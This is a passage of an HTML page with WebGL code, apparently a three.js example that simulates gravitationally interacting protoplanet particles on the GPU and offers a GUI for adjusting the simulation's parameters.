mvPosition.z ); } gl_Position = projectionMatrix * mvPosition; } </script> <!-- Particles fragment shader --> <script type="x-shader/x-fragment" id="particleFragmentShader"> varying vec4 vColor; void main() { if ( vColor.y == 0.0 ) discard; float f = length( gl_PointCoord - vec2( 0.5, 0.5 ) ); if ( f > 0.5 ) { discard; } gl_FragColor = vColor; } </script> <!-- Import maps polyfill --> <!-- Remove this when import maps will be widely supported --> <script async src="https://unpkg.com/es-module-shims@1.8.0/dist/es-module-shims.js"></script> <script type="importmap"> { "imports": { "three": "../build/three.module.js", "three/addons/": "./jsm/" } } </script> <script type="module"> import * as THREE from 'three'; import Stats from 'three/addons/libs/stats.module.js'; import { GUI } from 'three/addons/libs/lil-gui.module.min.js'; import { OrbitControls } from 'three/addons/controls/OrbitControls.js'; import { GPUComputationRenderer } from 'three/addons/misc/GPUComputationRenderer.js'; // Texture width for simulation (each texel is a debris particle) const WIDTH = 64; let container, stats; let camera, scene, renderer, geometry; const PARTICLES = WIDTH * WIDTH; let gpuCompute; let velocityVariable; let positionVariable; let velocityUniforms; let particleUniforms; let effectController; init(); animate(); function init() { container = document.createElement( 'div' ); document.body.appendChild( container ); camera = new THREE.PerspectiveCamera( 75, window.innerWidth / window.innerHeight, 5, 15000 ); camera.position.y = 120; camera.position.z = 400; scene = new THREE.Scene(); renderer = new THREE.WebGLRenderer(); renderer.setPixelRatio( window.devicePixelRatio ); renderer.setSize( window.innerWidth, window.innerHeight ); container.appendChild( renderer.domElement ); const controls = new OrbitControls( camera, renderer.domElement ); controls.minDistance = 100; controls.maxDistance = 1000; effectController = { // Can be changed dynamically gravityConstant: 100.0, density: 0.45, // Must restart simulation radius: 300, height: 8, exponent: 0.4, maxMass: 15.0, velocity: 70, velocityExponent: 0.2, randVelocity: 0.001 }; initComputeRenderer(); stats = new Stats(); container.appendChild( stats.dom ); window.addEventListener( 'resize', onWindowResize ); initGUI(); initProtoplanets(); dynamicValuesChanger(); } function initComputeRenderer() { gpuCompute = new GPUComputationRenderer( WIDTH, WIDTH, renderer ); if ( renderer.capabilities.isWebGL2 === false ) { gpuCompute.setDataType( THREE.HalfFloatType ); } const dtPosition = gpuCompute.createTexture(); const dtVelocity = gpuCompute.createTexture(); fillTextures( dtPosition, dtVelocity ); velocityVariable = gpuCompute.addVariable( 'textureVelocity', document.getElementById( 'computeShaderVelocity' ).textContent, dtVelocity ); positionVariable = gpuCompute.addVariable( 'texturePosition', document.getElementById( 'computeShaderPosition' ).textContent, dtPosition ); gpuCompute.setVariableDependencies( velocityVariable, [ positionVariable, velocityVariable ] ); gpuCompute.setVariableDependencies( positionVariable, [ positionVariable, velocityVariable ] ); velocityUniforms = velocityVariable.material.uniforms; velocityUniforms[ 'gravityConstant' ] = { value: 0.0 }; velocityUniforms[ 'density' ] = { value: 0.0 }; const error = gpuCompute.init(); if ( error !== null ) { console.error( error ); } } function restartSimulation() { const dtPosition = gpuCompute.createTexture(); const dtVelocity = gpuCompute.createTexture(); fillTextures( dtPosition, dtVelocity ); gpuCompute.renderTexture( dtPosition, positionVariable.renderTargets[ 0 ] ); gpuCompute.renderTexture( dtPosition, positionVariable.renderTargets[ 1 ] ); gpuCompute.renderTexture( dtVelocity, velocityVariable.renderTargets[ 0 ] ); gpuCompute.renderTexture( dtVelocity, velocityVariable.renderTargets[ 1 ] ); } function initProtoplanets() { geometry = new THREE.BufferGeometry(); const positions = new Float32Array( PARTICLES * 3 ); let p = 0; for ( let i = 0; i < PARTICLES; i ++ ) { positions[ p ++ ] = ( Math.random() * 2 - 1 ) * effectController.radius; positions[ p ++ ] = 0; //( Math.random() * 2 - 1 ) * effectController.radius; positions[ p ++ ] = ( Math.random() * 2 - 1 ) * effectController.radius; } const uvs = new Float32Array( PARTICLES * 2 ); p = 0; for ( let j = 0; j < WIDTH; j ++ ) { for ( let i = 0; i < WIDTH; i ++ ) { uvs[ p ++ ] = i / ( WIDTH - 1 ); uvs[ p ++ ] = j / ( WIDTH - 1 ); } } geometry.setAttribute( 'position', new THREE.BufferAttribute( positions, 3 ) ); geometry.setAttribute( 'uv', new THREE.BufferAttribute( uvs, 2 ) ); particleUniforms = { 'texturePosition': { value: null }, 'textureVelocity': { value: null }, 'cameraConstant': { value: getCameraConstant( camera ) }, 'density': { value: 0.0 } }; // THREE.ShaderMaterial const material = new THREE.ShaderMaterial( { uniforms: particleUniforms, vertexShader: document.getElementById( 'particleVertexShader' ).textContent, fragmentShader: document.getElementById( 'particleFragmentShader' ).textContent } ); material.extensions.drawBuffers = true; const particles = new THREE.Points( geometry, material ); particles.matrixAutoUpdate = false; particles.updateMatrix(); scene.add( particles ); } function fillTextures( texturePosition, textureVelocity ) { const posArray = texturePosition.image.data; const velArray = textureVelocity.image.data; const radius = effectController.radius; const height = effectController.height; const exponent = effectController.exponent; const maxMass = effectController.maxMass * 1024 / PARTICLES; const maxVel = effectController.velocity; const velExponent = effectController.velocityExponent; const randVel = effectController.randVelocity; for ( let k = 0, kl = posArray.length; k < kl; k += 4 ) { // Position let x, z, rr; do { x = ( Math.random() * 2 - 1 ); z = ( Math.random() * 2 - 1 ); rr = x * x + z * z; } while ( rr > 1 ); rr = Math.sqrt( rr ); const rExp = radius * Math.pow( rr, exponent ); // Velocity const vel = maxVel * Math.pow( rr, velExponent ); const vx = vel * z + ( Math.random() * 2 - 1 ) * randVel; const vy = ( Math.random() * 2 - 1 ) * randVel * 0.05; const vz = - vel * x + ( Math.random() * 2 - 1 ) * randVel; x *= rExp; z *= rExp; const y = ( Math.random() * 2 - 1 ) * height; const mass = Math.random() * maxMass + 1; // Fill in texture values posArray[ k + 0 ] = x; posArray[ k + 1 ] = y; posArray[ k + 2 ] = z; posArray[ k + 3 ] = 1; velArray[ k + 0 ] = vx; velArray[ k + 1 ] = vy; velArray[ k + 2 ] = vz; velArray[ k + 3 ] = mass; } } function onWindowResize() { camera.aspect = window.innerWidth / window.innerHeight; camera.updateProjectionMatrix(); renderer.setSize( window.innerWidth, window.innerHeight ); particleUniforms[ 'cameraConstant' ].value = getCameraConstant( camera ); } function dynamicValuesChanger() { velocityUniforms[ 'gravityConstant' ].value = effectController.gravityConstant; velocityUniforms[ 'density' ].value = effectController.density; particleUniforms[ 'density' ].value = effectController.density; } function initGUI() { const gui = new GUI( { width: 280 } ); const folder1 = gui.addFolder( 'Dynamic parameters' ); folder1.add( effectController, 'gravityConstant', 0.0, 1000.0, 0.05 ).onChange( dynamicValuesChanger ); folder1.add( effectController, 'density', 0.0, 10.0, 0.001 ).onChange( dynamicValuesChanger ); const folder2 = gui.addFolder( 'Static parameters' ); folder2.add( effectController, 'radius', 10.0, 1000.0, 1.0 ); folder2.add( effectController, 'height', 0.0, 50.0, 0.01 ); folder2.add( effectController, 'exponent', 0.0, 2.0, 0.001 ); folder2.add( effectController, 'maxMass', 1.0, 50.0, 0.1 ); folder2.add( effectController, 'velocity', 0.0, 150.0, 0.1 ); folder2.add( effectController, 'velocityExponent', 0.0, 1.0, 0.01 ); folder2.add( effectController, 'randVelocity', 0.0, 50.0, 0.1 ); const buttonRestart = { restartSimulation: function () { restartSimulation(); } }; folder2.add( buttonRestart, 'restartSimulation' ); folder1.open(); folder2.open(); } function getCameraConstant( camera ) { return window.innerHeight / ( Math.tan( THREE.MathUtils.DEG2RAD * 0.5 * camera.fov ) / camera.zoom ); } function animate() { requestAnimationFrame( animate ); render(); stats.update(); } function render() { gpuCompute.compute(); particleUniforms[ 'texturePosition' ].value = gpuCompute.getCurrentRenderTarget( positionVariable ).texture; particleUniforms[ 'textureVelocity' ].value = gpuCompute.getCurrentRenderTarget( velocityVariable ).texture; renderer.render( scene, camera ); } </script> </body> </html>
Close